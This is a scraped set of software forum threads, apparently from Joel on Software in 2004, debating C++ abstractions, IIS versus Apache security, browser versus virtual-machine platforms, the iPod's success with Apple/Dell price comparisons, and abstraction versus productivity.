Fri 25 Jun | Thomas E. Kammeyer | Good point, Coward I am!. I didn't even address debugging! Even if I can make the experience of programming in C++ 'feel' a lot like C# or Java it's possible that some of the oddities of reference counting will leak through in debugging. But I claim that this is nothing new, really: abstractions like the ones we're discussing have always leaked in this way. But in my case, I think this is an advantage... the way down into the details is not opaque and you're not traversing a bunch of ghostly glue code (like stack traces through COM references). It can all be in the same high-level language and all compiled from static libraries into the same exe if you want. This should make debugging easier in a system with a smooth, source-level transition to the managing runtime mechanism.
Fri 25 Jun | Coward I am! | But you still need knowledge of the runtime system.
Fri 25 Jun | Thomas E. Kammeyer | You need runtime system knowledge in any event... so it's not a point of division between my proposal and existing managed/interpreted/virtual-machine systems. I still think having more of it in static libs will make things easier. Though I should 'fess up at least this far: sometimes debugging through all those layers of STL is just downright nasty... If STL+Boost+some niceties can be made so that descending that far is as rarely necessary as similar maneuvers are in C# then it's all the same.
Fri 25 Jun | Coward I am! | I may confess that I'm playing the devils advocat here. I actually like the idea.
Fri 25 Jun | C++ Wannabe | 'What about this: maybe this discussion suggests a healthier way to *teach* C++ to beginners: start having them use it through available libraries ... THEN teach folks ... about pointers and about the various ways code can get grittier and less managed.' More up-to-date introductory C++ books do exactly this, Accelerated C++ being the foremost example I can think of. I aim for this and achieve it fairly regularly. But, it does have cracks along the lines of dealing with 3rd party libraries. Most people drop to pointers as the default.
Sat 26 Jun | Chas Emerick | With regard to how often Java developers use native, unmanaged code.... JNI is hardly the best or only example of how a typical Java programmer might touch native modules. Almost all of the IO, NIO, zip, and AWT that actually do something (open a file, write to a file, get entries from a zip file, blit images to a canvas, etc) are actually delegated to native code.
New Halloween Memo | Wed 23 Jun | Lynx
http://www.opensource.org/halloween/halloween11.php Here are some sound bites for open-source advocates to use in response to the Get The Facts campaign: *Migration only costs money once; higher Windows TCO is forever. *Shared source is a poison pill. *Only the Windows boxes get the worms.
Wed 23 Jun | anon | Gawd, does anyone else wish this would all just go away? I sometimes find myself wishing open source advocates would all just dissappear in a puff of smoke so I didn't have to hear about this anymore. Ditto Microsoft. A pox on both your houses. If I ever get to the point where this crusade actually matters to me, I'll fling myself off a cliff.
Wed 23 Jun | Gary van der Merwe | Sigh - I hate been draw into the Win vs. What ever other OS, but I can't resist. The reason why Windows gets all the worms and virus is not because it is bad code. It is because most of the desktops out there are windows machines. It dose not matter wether you are a worm/virus devloper or a usefull application devloper, you are going to write for windows, because you will have a large target addence. When Linex gets a 50% desktop market share, they will be affected by worms/virus's
Wed 23 Jun | Oren Miller | From the article: 'Can you explain why Windows IIS websites are cracked or defaced more often than Apache ones, despite the fact that IIS runs less than a third the number of sites Apache does?'
Wed 23 Jun | anon | Maybe IIS attacks are a marketing blitz by open source weenies. It's a conspiracy.
Wed 23 Jun | Yo | Are the sites run on Apache ones you'd care to crack or deface in the first place?
Wed 23 Jun | Caffeinated | 'Can you explain why Windows IIS websites are cracked or defaced more often than Apache ones, despite the fact that IIS runs less than a third the number of sites Apache does?' To answer this question, you would need to have hard statistics from the hackers attempting to attack servers, which is information that cannot be reliably obtained. Therefore, the question cannot be answered. Therefore, it is pointless to ask.
Wed 23 Jun | Dennis Forbes | Jesus, just concede defeat in some areas people. Apache has been a far more robust platform than IIS historically, _despite_ hosting significantly more sites (and a large number of high value sites). Just accept that and reply with a classic Microsoft sales technique "Yeah, well all that old stuff is crap, but IIS 6 will fix what ails ya" (this is actually true, but cynicism towards this endless "our old stuff is crap, but if you just upgrade..." makes it hit deaf ears).
Wed 23 Jun | anon | Jesus, you don't get it, do you? No one cares! Use Apache. Knock yourself out. Don't use IIS. Wonderful. It's all good.
Wed 23 Jun | Dennis Forbes | Thank you for your reply. May I subscribe to your newsletter? So let me get this straight - if you use IIS, .NET, Sharepoint, or any other Microsoft technology, it is required that you subscribe to a revisionist perspective of the past, accept whatever FUD/nonsense/sales blather that some low level moron at Microsoft squeezes out, and bleet the opinion that everything Microsoft is great. Otherwise 'go use XXX!'. Thanks, but I'll save that extremist world for you. My preferred platform is IIS with .NET, along with SQL Server. Hard to believe, eh?
Wed 23 Jun | MyNameIsSecret(); | ''Can you explain why Windows IIS websites are cracked or defaced more often than Apache ones, despite the fact that IIS runs less than a third the number of sites Apache does?' To answer this question, you would need to have hard statistics from the hackers attempting to attack servers, which is information that cannot be reliably obtained. Therefore, the question cannot be answered. Therefore, it is pointless to ask.' It can be answered. Did you know that IIS 6.0 is installed with most features turned off. IIS servers before were 6.0 installed with vunerable features turned on. As for apache the standard install of apache has most features turned off and installed on numerous types of servers that worked a little different so the task of cracking the apache is a little different from server to server if it has vurnelabilities.
Wed 23 Jun | Caffeinated | So, to extend your argument to completion: Since IIS has more *opportunities* (per server) to be cracked or defaced, hackers chose to attack it more often. I can't disagree with your supposition, because I don't know any hacker to ask. However, this *is* a supposition. Don't you agree?
Wed 23 Jun | Hitler | Salad Cream!
Wed 23 Jun | anon | When one asks a question that cannot be answered, the Questioner is seeking to learn more about the Answerer than the answer.
Wed 23 Jun | Lynx | 'Can you explain why Windows IIS websites are cracked or defaced more often than Apache ones, despite the fact that IIS runs less than a third the number of sites Apache does?' Yes. Would you rather steal candy from a baby or a biker? I would say the easy one gets defaced.
Wed 23 Jun | Software Assurance | Actually I think the big benefit to all this is that it makes Microsoft reduce prices.  That benefits almost all of us.  The more effective the OSS argument becomes, the better or cheaper MS software has to become.  So go ESR go!
Wed 23 Jun | William G. Davis | The Linux zealots tend to piss me off a lot, too. I have to work with them all the time and the constant childish Microsoft bashing *really* annoys me. But the thing is, if you seriously believe IIS is even remotely comparable to Apache, then you're in just as much denial as they are. IIS is garbage--it's been garbage for years and it's probably always going to be garbage. IIS is the sendmail of the web; it's gotten to a point where people are actually migrating to Apache *just because* of IIS's many security problems, despite the fact that Apache runs on far, far more servers than IIS does, including big, prominent ones like amazon.com. Having worked with both, I honestly believe that Apache knocks the socks off of IIS in almost every single way. Sorry, but it's true. I know you don't want to believe that some orphaned experiment from the NCSA taken in by a few scattered C hackers around the world could turn out to be vastly superior to a product produced by the world's biggest and most powerful software company, but it is. Deal with it.
Wed 23 Jun | Bob | Isn't IIS also 'some orphaned experiment from the NCSA taken in by a few scattered C hackers', by the way? I wonder why 'around the world' versus 'in Redmond' happened to matter. (Taking for granted that it did.)
Wed 23 Jun | ANON2 | I'm from New Zealand.  I imagine that some USA-ians could be uncomefortable if something they thought was important was happening in some place they didn't accept existed.
Wed 23 Jun | anon4231908414231 | Oh, come on. Your comments may be applicable towards certain rural and/or provincial elements here in the US, but, frankly, they have nothing whatsoever to do with any of the many, many IT people, developers, etc. I've been in contact with here in the US. I'll be the first to say (as an American) that the US has been displaying some extremely poor attitudes and decisions recently in its foreign policy (and this is just my OPINION, let's not make it political), but assuming that we're so nuts here as to decide that 'we don't like software here because it comes from New Zealand' is just ridiculous. I don't think anybody cares where things come from; they're way too busy trying to get the job done. Besides, the Lord of the Rings movies just put New Zealand squarely on the map for the *maybe* 10% of American geeks who didn't know where it was already. ;-) Re: the original posting...I agree that religious wars are silly. However, I have to agree that Apache kicks the crap out of IIS in many ways, of which security isn't remotely the least. Just as saying 'Microsoft is always evil' is just nutty, so is not taking a step back and looking at the actual two products in comparison objectively.
Thu 24 Jun | no name | > the question cannot be answered. Therefore, it is pointless to ask. If everyone thought that way we would still be libing in caves rubbing sticks together.
Thu 24 Jun | Caffeinated | Don't get me wrong. I ask lots of 'unanswerable' questions. In this case, however, the point of asking the question is to enhance the marketing position of Product A over Product B. It is not designed to get an answer. It's really just manipulation. Now, I have to go back to rubbing my sticks together. This java code isn't going to write itself.
Sat 26 Jun | lvalue | If it makes you feel any better, the 'few scattered C hackers', are actually corporation, composed of members from companies like IBM, Redhat, Apple, Google, and Sun. These guys are often (usually?) paid by their company to hack Apache. So it's not so much 'scattered C hackers' as it is 'some of the best guys available, who happen to work for a couple dozen companies'.
so after the api wars, what have we got? | Wed 23 Jun | Michael Moser
Now its the Browser (HTML/CSS/javascript/Dom) against Virtual Machine (Java/.NET/(Flash ?)) The custom made interpreter vs. byte code interpreter + Big Native Support library. Anyone is betting on the outcome? Who wants to be the bookmaker?
Wed 23 Jun | Michael Moser | .. and the aim of the war is to become the predominant client platform, a war has to be about *something*.
Wed 23 Jun | Almost Anonymous | The virtual machine appears to be the way to go on the server side (J2EE, ASP.NET) which is serving applications to a browser-based client side. Ultimately, for sanity sake, I see a unification of the client and server-side technologies. The browser won't be taking over the server (although Netscape tried that back in the day with server-side Javascript) so I think VM technology will eventually take over the client.
Wed 23 Jun | Dennis Forbes | There's nothing native about JavaScript, DHTML, SVG, a DOM, or XML. Indeed if you stick to the standards the platform is, in effect, a virtual machine. Regarding the whole '.NET is going to take over once they get XAML figured out' (This is not your point, but rather has been hashed out countless times elsewhere), I'd point to Java as a historical lesson - the Java runtime was on virtually every PC, has tremendous benefits over .NET (it enables you, or your company, to choose virtually any platform as they all have Java runtimes), has 'one-click deploy' technologies, yet still it has been largely relegated to the dustbin of history on the client end. I think the .NET extremists (living in their caves) should ponder that long and hard, because ultimately they are missing why we moved to web apps. [As an aside - XAML, from everything I have read, is nothing more than a precompilation step - the compiler takes the XAML and builds the GUI elements and connects the events and code accordingly. How this aligns rich clients with web apps is an absolute mystery to me...]
Wed 23 Jun | Giles Gregg | I think they will both win in spaces most relevent to them. Flash / VM etc will win on sites that are on-line brochures and games, ie all the car sites and the like, any site that is trying to 'build a brand, give the user an on-line experience', and html will win for news sites and sites where content is the primary reason for visiting... I think this also applies when you think about the coming mobile revolution (for want of a better description), the content driven sites will have their text only xml etc versions and the 'brand experience' sites will have mini movie clips and mini flash players...
Wed 23 Jun | Tom H | Virtual Machines have been around since at least the sixties, and they have been getting faster and more powerful the whole time. Browsers are VMs, .Net runs on a VM, Java runs on a VM, Python, Perl, and others all run on VMs. Some C/C++ will be around for low-level stuff like device drivers, writing VM interpreters, and operating system kernels, but that's about all. I don't see native code for most application software because the only advantage it has is speed and that's not going to be true (or enough better) for much longer.
Wed 23 Jun | Giles Gregg | Oop, didn't mention web apps :-) same thing though.. the technology that best suits the purpose of the application will win out... collaberation tools - html video editing - windows api small games - flash.. you get the idea...
Wed 23 Jun | Just me (Sir to you) | Isn't the browser a VM, though admittedly a really poor one at that?
Wed 23 Jun | Dennis Forbes | Of course x86 on any modern processor is just IL running on a VM...
Wed 23 Jun | Software Assurance | 'Virtual Machines have been around since at least the sixties, and they have been getting faster and more powerful the whole time' Well, no. The hardware has. The software is more bloated than ever. Moore's law will never outpace software developers ability to negate the gain. It reminds me of something Philip Greenspun said about comparing the early years of web serving to today's. Something like in 1995 we struggled to get 10 pages per second on circa 1995 hardware and today in 2004 with our app servers and frameworks to be fashionable we struggle to get 10 pages per second on today's hardware. Yes you can argue that productivity improvements by not managing memory are important. This is probably the most important in business software. If you are writing apps for home user or some such they want the quickest apps they can get on that new 3ghz machine. Granted the computer is usually waiting for them not the other way around. If I make an app and you make an app, but I chose a slow ass swing ui and you do something native in a compiled language, all other things being equal the user likes my app better than yours. Speed is a selling point for ISV's more so than their coder's being able to turn out a product marginally quicker. The ISV will put more monkeys on the project to get it out to market quicker. The key is to have the faster product out quicker or by the same time as the slower one. If you can do that, you will eat the slower ones market share. Why do I like office over open office? Speed, not features. There isn't anything in any version of office that I need that open office doesn't have - BUT open office is too slow because I'm used to the speed of office.
Wed 23 Jun | Software Assurance | 'being equal the user likes my app better than yours' should be 'being equal the user likes YOUR app better than MINE'
Wed 23 Jun | Dewd | 'Why do I like office over open office? Speed, not features. There isn't anything in any version of office that I need that open office doesn't have - BUT open office is too slow because I'm used to the speed of office.' You made your point, loud and clear. What you are basically saying is that choice is good and empowers the user. Should we jump in the latest bandwagon just to help out a vendor? Is it in our best interest to do so? Choice: live by it; die by it.
Sat 26 Jun | x | Swing isn't that slow. JVM startup time is slow. If your Swing interface is slow after it's been started, you're probably doing something wrong. I'm happy to hear that speed is the only thing keeping you from Openoffice, though -- I happen to be working on OO performance at the moment. :-)
Apple's iPod | Wed 23 Jun | hoser
What makes ipod such a success?  Im still scratching my head on this.  Just an MP3 player, these things are a dime a dozen. Anyone own one that can tell me whats so great about it?
Wed 23 Jun | Chris | Marketing... have you seen an advertisement for any other portable jukeboxes?
Wed 23 Jun | Lou | I own a 10 GB 2nd generation iPod - here are my thoughts. - integrates really well (so simple to integrate with my computer) - simple interface (but powerfull, I can quicky get whatever I want with very little effort and with little memorization) - stylish (yes, this counts, a lot) - solid (have you held one , it feels sturdy and expensive) - it just works (and that's the kicker) So, it's simple but elegant, sturdy and expensive feeling, slick looking and it just works. There are probably other portable music players on the market now that could compete on nearly all or all of these points, but Apple has the mindshare, and that's a big thing. 'White headphones, she must have an iPod'
Wed 23 Jun | Espen Antonsen | why did levi's sell so many jeans (still do but not as much)? why does nike sell more than competitors? becuase their products are considered cool. in the example of the iPod this is the cool design that competitors do not have. ANother important factor is that (correct me if im wrong) is that Apple was first to release a hard-drive based mp3-player which enabled them to get the first-move advantage in the market. In addition, marketing plays a big role as well, apple's well known brand & distribution and the quality and user-friendly product. http://sleepyhead81.blogspot.com
Wed 23 Jun | Code Monkey | I do not think it is just Marketing. The combination of iTunes, sleek design, relative affordibility for an Apple product, desire to take make one's music collection portable and listen to it whenever whereever and finally the sheep mentality of people to want to make a fashion statement.
Wed 23 Jun | muppet is now from madebymonkeys.net | I'm pretty sure the 4GB Creative Nomad came out before the first iPod.  I could be mistaken.
Wed 23 Jun | Natural progression of a top of the line product | Could it just happen to be that: a) people love music b) people love mp3's c) people are going to want mp3 players...because they love music. d) when looking for an mp3 player...it's hands down the best out there? e) So now it gets popular because it's the best. Inevitably people who weren't interested in mp3 players now get interested. They go with an iPod because that's the one they've heard about (but in this case, that's ok .. b/c it's the best) f) Now everyone is on the bandwagon, and once that happens, you get a certain segment that starts 'hating' on the 'leader of the pack'. g) The haters start posting on joelonsoftware.com with threads titled 'Apple's iPod' (I kid, I kid)
Wed 23 Jun | muppet is now from madebymonkeys.net | ***d) when looking for an mp3 player...it's hands down the best out there?*** this is incredibly subjective.
Wed 23 Jun | Chris | There are other products that have good software, more storage, good design, and are cheaper than an iPod.  But when it comes down to it, Apple has marketed the iPod as THE jukebox to get.  "Hey, it looks cool, it holds all your music, it's easy to use, it's hip, you gotta get one."  Sure, it's a good product, but good marketing as well.
Wed 23 Jun | Fred | Seriously, which other MP3 player has a better UI than the iPod? I've played with a few competitors, but not all of them. So far I haven't seen anything as easy and elegant as the iPod.
Wed 23 Jun | Natural progression of a top of the line product | this is incredibly subjective. ---------------------------------- Do the research. Compare what's out there. It's hands down the best MP3 player out there.
Wed 23 Jun | muppet is now from madebymonkeys.net | It depends on whether your criteria is solely the soundness of a product or whether you also take into account the ethics of a company. I think Apple's pricing scheme is artificial and they do society a disservice by promoting an elitist, superior attitude amongst their customers. While there will always be elitist snobs hanging about our little blue sphere, I can't really get on board with a company who caters to it. Apple seems to do this. There's just no reason for their hardware to cost 3 times what a comparable PC does. They charge what they charge because they can. Blah blah blah good business effective marketting blah blah. It's irresponsible.
Wed 23 Jun | Almost Anonymous | 'Just an MP3 player, these things are a dime a dozen.' Flash-based MP3 players are a dime a dozen. There are probably less than 10 brands of Harddrive MP3 players. And out of those, only 3-4 are any good.
Wed 23 Jun | anon | Elitist snobs! Bwahahaahahhahahaha! Don't stray too far from that dull, grey, median, eh? Maybe companies should run all their new products past you to see if it passes the 'elitist snob' sniff test. hahahahahahahaha
Wed 23 Jun | muppet is now from madebymonkeys.net | Who said I should have veto power over anybody?  I just personally don't like the slant of Apple's marketting/business strategy and therefore don't buy their products.  That's capitalism, slick.
Wed 23 Jun | anon | No shit, that's capitalism, junior. You're criticizing it for doing exactly what it's supposed to do, sport.
Wed 23 Jun | muppet is now from madebymonkeys.net | I'm not criticizing a thing except Apple's practices. I think Capitalism is fine and dandy. What sort of bizarre connections are YOU projecting onto what I said? I don't like Apple's marketting, hence I do not buy from them. Where in that do you see criticism of capitalism? Moron.
Wed 23 Jun | Yo | Those out there who own HD based mp3 players: How do the major 2 or 3 (iPod, Dell, whatever) perform when running/phyical activity)? Any patterns of HD failure? thanks
Wed 23 Jun | JWA | 'There's just no reason for their hardware to cost 3 times what a comparable PC does. They charge what they charge because they can.' You just answered your own issue. --Josh
Wed 23 Jun | anon | I guess the word 'irresponsible' is not criticism? Moron. haahahahahahahahahahaahah
Wed 23 Jun | muppet is now from madebymonkeys.net | +Josh+ Certainly, that's the answer for 'why' they do what they do. I never questioned why. I question whether they 'should'. Since that's not my question to answer, I opt to simply not give them my custom. Where's the issue?
Wed 23 Jun | Tom H | 'I can't really get on board with a company who caters to it' So take your money elsewhere. Don't buy jewelry, go to cheap restaurants, drive a dinky car, go someplace crappy for vacation, feel good about yourself.
Wed 23 Jun | Natural progression of a top of the line product | I love how this turned into a rant about Apple's ethics. I bought my iPod because it was the best mp3 player out there. Of course, I did get a 15% discount because I knew someone that worked at Apple. All that other nonsense muppet is spewing, is just that. Nonsense.
Wed 23 Jun | muppet is now from madebymonkeys.net | *Tom* essentially, that's exactly right. Though extreme. Again, what's the issue? I simply stated that Apple's iPod is the best mp3 player on the market for folks that don't take issue with Apple as a company, for others, it's not. Therefore, declaring it the best IS subjective. What's the issue here? Are you all frothing fanboys, incapable of rational discussion and accepting that others have different perspectives?
Wed 23 Jun | Keith Wright | One point on which many players seem to beat iPod is battery life. Also there is the issue of file types. Several other players seem to support WMA, and a few support Ogg. Apple has made it difficult for any other mp3 player to take over the iPod market by making sure that iTunes AACs can't be played on anything but iPods, or computers with iTunes installed. Personally, I'm waiting for the ultimate pocket convergence, the smart phone with hard drive. Though I'm not really keen on either MS or Palm OSes.
Wed 23 Jun | Natural progression of a top of the line product | ++ folks that don't take issue with Apple as a company, for others, it's not++ Declaring iPod the superiour mp3 player based on it's techinical merits is not subjective. (You did not state your reasoning in your first post, 'isn't that subjective', now you are backpeddling). Your comment about Apple as a company (quoted above) IS subjective. You are the one being subjective! Sadly, you don't understand that and instead choose to troll.
Wed 23 Jun | candymancan | Muppet, just who or what is Apple 'irresponsible' to? You use the word 'elitist' like that's a bad thing. (Not an uncommon silliness.) Should Apple be 'responsible' to the egalitarian hogwash that everybody is as excellent as everyone else? Ha! Take a look around some time. That out of the way, being able to buy something expensive doesn't say much about a person. Paris Hilton can buy quite a lot, yet she's a Nothing. On computer price... Apple is very price competitive on that side. I dare you to take any Dell and bring it up to spec with a Mac from the pro lines and *then* compare the prices. I did this with my last computer buy, and found the Mac $600 cheaper than the closest Dell (which was still missing a couple minor things), so I bought the Apple. For what I do, I can switch operating systems as I please, and the Apple PowerBook had the best price for my needs. Oh, and an actual answer to the original post... The iPod has been drastically better suited than any other player available to people with a big music collection who listen often. The sound quality is superb, the battery charging characteristics excellent, and nobody else was even in Apple's league for capacity-to-player-size at the high end of capacity. Now the Hitachi drives are more widely available, so other vendors can copy the iPod, but in past years, and the Creatives and Rios of the world were farting around making low-end flash players, hoping to pull in a huge volume of price-sensitive customers. Only Apple got the mix right for high-income people, so they won that market handily.
Wed 23 Jun | candymancan | On file types... People, AAC is a standard. Apple has no corner on it. Any vendor out there is free to build a player that plays AAC, and could happily play any CD ripped with iTunes as AAC without so much as a may-I-please to Apple. What the other players can't do is play copy-protected AAC files downloaded from the Apple service, because Apple's not sharing the locking scheme. Likewise Apple's player won't play files locked up with Microsoft's proprietary WMA, because Apple already dominates the download market, so they don't really need to bother with Microsoft. So if you plan to buy rights-removed, downloaded music, you're stuck with one cartel or the other. But the point is moot if you rip your own disks, so who cares?
Wed 23 Jun | candymancan | Indeed, some of the newer players seem to be beating Apple on battery life. (Or so I gather from published specs.) I have never come close to draining my iPod battery. At work, I run it on a second charger. If I had spent more than eight hours at the coffee shop, that dead battery would serve as a much needed wake-up call to get out and get some air, or turn off the music and be more social. Again, Apple's success here is due to their incredible job of identifying a perfect feature mix. Given a choice, I wouldn't be interested in taking on a single gram of weight for longer battery life.
Wed 23 Jun | Jim Rankin | 'Again, Apple's success here is due to their incredible job of identifying a perfect feature mix. Given a choice, I wouldn't be interested in taking on a single gram of weight for longer battery life.' Bravo. That's what many of the above criticisms miss. Sure, other music players beat the iPod on one criterion or another, but no others have mastered the same balance and tradeoff of price and features as deftly as Apple has.
Wed 23 Jun | muppet from forums.madebymonkeys.net | a world where people contribute to the financial well being of corporations with no regard for that corporations politics or practices is a scary world indeed.  I don't think there's anything the least bit subjective about a thoughtful analysis of a corp's impact on society.  No more than an analysis of the hardware capabilities of their product.
Wed 23 Jun | Code Monkey | >Sure, other music players beat the iPod on one criterion or another, but no others have mastered the same balance and tradeoff of price and features as deftly as Apple has That might be true now but once solid state media prices go down ( the compact flash based 4GB Muvo is $160 today) we will see what happens. Apple will find the same thing that it found with the Mac's that just wrapping pretty colored plastic around so-so technology is a recipe for the becoming a niche market player, patronized by only by losers who think that showing a white earphone somehow makes them cool.
Wed 23 Jun | I have no idea why you think "it's irresponsible to charge as much money as Apple does" is somehow a thoughtful criticism. | muppet with the too long name
Wed 23 Jun | muppet from forums.madebymonkeys.net | that's not what I said, but you can oversimplify any argument and make it sound silly.  Congratulations on your repetitive, ad hominem tactics.
Wed 23 Jun | Mr. Fancypants | Actually there IS reason for Apple to charge more for their hardware than a similar PC -- economies of scale.  With a much smaller market than the PC to sell to, they can't take advantage of them like Dell, HP, etc can.
Wed 23 Jun | Mr. Fancypants | Also.. the iPod mini is incredibly cool.
Wed 23 Jun | muppet from forums.madebymonkeys.net | Apple's market would grow to accomodate if they lowered their hardware prices.  I can just about guarantee it.
Wed 23 Jun | Gus | Apple's prices are already pretty darn low. They compare favorably with the prices of every major brand. I would almost venture to say that they are the value leader. Go look yourself. Don't be fooled by the entry price. After you customize an HP or Dell to be a respectable box, they're often no cheaper than the equivalent Apple. Especially for notebook computers. (Oh, and remember to multiply the PowerPC clock speed by 1.5x.) But that aside, I'm always astounded to hear people advocate a strategy focused on selling to cheapskates.
Wed 23 Jun | Gus | At the risk of sounding like an Apple salesman or something (I just like mine a lot)... I know most people won't take the time to surf over, so let's just bust those delusions here. For example, in a nice midrange pro desktop machine, these are quite similar in features. Dual 2GHz PowerPC G5 1GB DDR400 SDRAM (PC3200) - 2x512 250GB Serial ATA - 7200rpm ATI Radeon 9600 XT w/128MB DDR SDRAM 56k V.92 internal modem 8x SuperDrive (DVD-R/CD-RW) $2,799.00 Dell Precision Workstation 450 Dual Intel® Xeon™ Processor 2.80GHz, 512K Cache Microsoft® Windows® XP Professional, SP1 with Media and NTFS 1GB,DDR266 SDRAM Memory,ECC (2 DIMMS) FREE Upgrade to QuadroFX 500 128MB for the price of Quadro NVS 280, 64MB 8X DVD+RW/+R with Roxio® Easy CD Creator plus DVD decode 250GB SATA, 7200 RPM Hard Drive with DataBurst Cache™ Floppy Drive: 1.44MB FDD,Full-size,no-bezel,F3 bay-1ST SOURCE SCSI/RAID: SATA PCI Non-RAID adapter for 1 SATA HDD $2,949
Wed 23 Jun | Gus | And near the low end... these were harder to match up. Dell doesn't sell a P4 lower than the 2.8 Ghrtz, while Apple doesn't currently sell the consumer machines without a display. iMac 1GHz PowerPC G4 (which is faster than it sounds) 512MB DDR333 - 2 DIMMs 80GB Ultra ATA drive 15-inch flat panel LCD Combo Drive (DVD-ROM/CD-RW) NVIDIA GeForce4 MX w/ 32MB video memory $1,399.00 - $25.00 (memory promotion) = $1,374.00 Dell Dimension 4600 Series Intel ® Pentium® 4 Processor 2.8GHz w/533MHz FSB (faster than the iMac, I'd guess.) Microsoft® Windows® XP Professional 512MB Dual Channel DDR SDRAM at 333MHz (2x256M) 80GB Ultra ATA/100 Hard Drive (7200 RPM) No Floppy Drive Included Single Drive: 48x CD-RW / DVD-ROM Combo Drive 15 in (15.0 in viewable) E152FPb Flat Panel Display Integrated Intel® Extreme Graphics 2 Integrated 5.1 Channel Audio No Speaker Option New Dell Gigabit Ethernet (cool. this is new for them.) $1346
Thu 24 Jun | muppet is now from madebymonkeys.net | I think comparing a 2.8GHz pentium 4 to a 1GHz apple is a bit of a stretch, even taking into account Apple's claims of equivalent performance at lower clock speeds.
Thu 24 Jun | Gus | Yes, and I said so: '(faster than the iMac, I'd guess.)' As I said, Dell didn't offer a slower Pentium. But for low end users, the 1Ghrtz G4 is a really quick processor and the 2.8 P4 goes wasted. Only gamers and people doing intense graphics work might notice the difference. Graphics pros buy pro boxes, graphics students seem to buy notebooks. Apple's prices are slightly better at the high end, a little worse at the bottom (except laptops where Apple is a better value), and don't currently go low enough for the sub-$1000 crowd. Well, there is the eMac, but I don't know how that compares to ultra-cheap PCs. 1.25GHz PowerPC G4 // 256MB DDR333 SDRAM // 40GB Ultra ATA drive // Combo CD-RW/DVD-ROM drive $799.00
Thu 24 Jun | Gus | A boxed P4 1.8 GHz is $167 at Amazon. (All other things equal, that will perform like a 1Ghz G4.) A boxed P4 2.8 GHz is $197 at eCost. OK, call the low end Apple $30 overpriced. :-)
Sat 26 Jun | happy Mac | Comments: The iPod is great because it's a hard-disk player (stores all your music), it's small (other hard-disk players tend to be huge), and it uses Firewire so it's fast (other hard-disk players tend to use USB). True, other MP3 players have started using faster wire protocols and started slimming down, but Apple jumped ahead of competitors by quite a bit, when they first released it. (Other things like nice interface and being nearly indestructable are just icing on the cake.) As for 1GHz G4, I wouldn't at all be surprised if it's comparable to a 2.8GHz P4. The Linux-PPC hackers have tended to agree with Apple's claims about the G4, IIRC. You can't discount software, either: Apple's OpenGL is the best I've seen, and they use 3d acceleration throughout the interface, so you'd have to have a faster PC / video card to beat the Mac at graphics performance.
Innovation, Productivity, and Abstraction | Wed 23 Jun | The Rock
How are Abstraction, Innovation, Productivity and Functionality related? (Couldnt fit functionality in topic line.) Abstraction yields greater Productivity at a cost of Functionality and Innovation. Innovation requires greater Functionality at the cost of Abstraction and Productivity. How would you relate these terms? I think the Win32 API inspires innovation and gives greater functionality at the cost of abstraction whereas the .NET environment has abstractions that give greater productivity at a cost of functionality-> (Having to declare API calls and not having the exact same functionality as the Win32 API available natively in .NET.)
Wed 23 Jun | old_timer | > How are Abstraction, Innovation, Productivity and > Functionality related? Ooh, ooh, I know. They are all key words in buzzword bingo. Do I get the prize?
Wed 23 Jun | EAW | you needed to cross-actualize the bingo matrix paradigm.  THEN you get a prize.
Wed 23 Jun | The Rock | I'm trying to be serious here guys.
Wed 23 Jun | Mike | They are all words you'd see in a Microsoft press release and/or white paper.
Wed 23 Jun | hoser | "technology"
Wed 23 Jun | Eric Lippert | This reminds me of Macroeconomics 101 -- what's the relationship between capital, interest rates, profits and taxes, taken in pairs? Economics is called 'the dismal science' for a good reason, but compared to what you're doing, it's nuclear physics! :-) Does abstraction impede productivity? Sometimes. Sometimes abstraction improves productivity. How's that? Because you can only talk about productivity in the context of what work is being produced. Let's make this more concrete. Lots of people, myself included, have pointed out that the file IO classes in the .NET Framework are very abstract. FileReader, StreamReader, Stream, FileStream, all the TextEncoding streams, blah blah blah, who understands all this stuff? The thing is this: if what you need to do is get all the bits of a known file in a known format from a known disk location and into an array, the much lower abstraction in perl is way more productive. If you have my job though, it's certainly not. I have a bunch of code which needs to talk to a file, but the 'file' might be in any of several character encodings, might be on disk, in memory, in memory in another process, in a database... and in the future we might have to support various encryption standards as well. The fact that I can write the core functionality code to talk to a Stream object with an Encoding object, and then write support code around it to wrangle the zillion specific cases into the appropriate Stream and Encoding subclasses, is a HUGE productivity win because I don't have to write the same code a zillion times.
Wed 23 Jun | The Rock | Thanks for the reply Eric. That's the kind of response I'm looking for. Now would you say that you can be just as innovative with all those layers of abstraction? After all you have lost some functionality haven't you?
Wed 23 Jun | AllanL5 | Relations of Abstraction, Innovation, Productivity and Functionality. Functionality is the base concept here. Your solution needs to produce a certain amount of functionality, arranged in some way to reduce presentation complexity to the user. Typically measured in requirements, additional measures can be function points or Scenario steps. You also want to partition the functionality across the modules or objects of your solution, to minimize modification 'ripple effects'. This partitioning allows you to partition the work that produces the modules/objects. To reduce the complexity of the solution, you want to arrange the paritioning into a hierarchy of modules/objects. Abstraction lets you do this. But you need good criteria to use. What is 'good' criteria for Abstraction levels, partitioning, object definition is a subject for another thread. Productivity: You want to produce this functionality in a cost-effective way, with predictable schedule. Innovation: You want to balance 'clever hacks' with re-use of existing stuff known to work. So: Functionality defines the size and complexity of the solution. Hierarchy (with Abstraction) allows you to manage the complexity of the solution. Productivity must be balanced with Innovation during implementation. Too much Innovation leads to systems which never get finished. Too little Innovation leads to 'clunky' systems which reproduce the mistakes of the past.
Wed 23 Jun | The Rock | Wow! Great answer AllanL5. I never thought of it in an end user or per-solution way. I'm thinking along the lines of API's and Joel's article but my train of thought may be wrong and too narrow.
Wed 23 Jun | son of parnas | I wish i could have said what AllanL5 said.
Wed 23 Jun | Mr. Analogy | I third that. Great answer Allan*
Wed 23 Jun | Nearly Nameless | Abstraction provides greater long-term productivity at a cost of short-term productivity. It doesn't affect functionality/innovation, because functional requirements come first.
Thu 24 Jun | Peter Arrenbrecht | In my experience, abstraction may lead to reduced functionality, especially usability, when the abstraction is a huge productivity boost for most of the system but stands in the way of the most appropriate solution in a few areas. Of course, budget permitting, that could be helped. Which is why, I take it, MS designed ASP.NET with the credo of 'no black boxes' - everything can be worked around at a cost of gradually increasing complexity and loss of productivity.
